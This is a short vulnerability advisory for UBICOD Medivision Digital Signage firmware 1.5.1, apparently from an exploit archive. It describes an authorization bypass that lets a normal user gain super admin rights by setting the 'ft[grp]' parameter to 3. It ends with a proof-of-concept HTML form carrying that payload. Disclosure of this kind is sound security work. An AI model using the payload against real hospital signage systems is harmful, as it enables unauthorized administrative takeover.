UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation

UBICOD Medivision Digital Signage version 1.5.1 suffers from a privilege escalation vulnerability that is leveraged via authorization bypass.

MD5 | 3fe4e2cf4345f82778b34c87c1c95b2e

UBICOD Medivision Digital Signage 1.5.1 Privilege Escalation Through Authorization Bypass

Product web page: http://www.medivision.co.kr
Affected version: Firmware 1.5.1 (2013.01.3)

Summary: Medivision is a service that provides everything from DID operation to
development of DID (Digital Information Display) optimized for hospital environment
and production of professional contents, through DID product installation, image,
video content planning, design work, and remote control. This is a one-stop solution
that solves management at once.

Desc: The application suffers from a privilege escalation vulnerability. Normal user
can elevate his/her privileges by navigating to /html/user (via IDOR) page sending an
HTTP GET request setting the parameter 'ft[grp]' to integer value '3' gaining super
admin rights.

Tested on: Apache/2.4.7 (Ubuntu)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2020-5575
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5575.php



<form action="" method="POST">
<input type="hidden" name="aa[_id]" value="157" />
<input type="hidden" name="aa[pass]" value="123456" />
<input type="hidden" name="od[]" value="name" />
<input type="hidden" name="ft[grp]" value="3" />
<input type="hidden" name="ip" value="0" />
<input type="hidden" name="np" value="13" />
<input type="submit" value="Submit request" />

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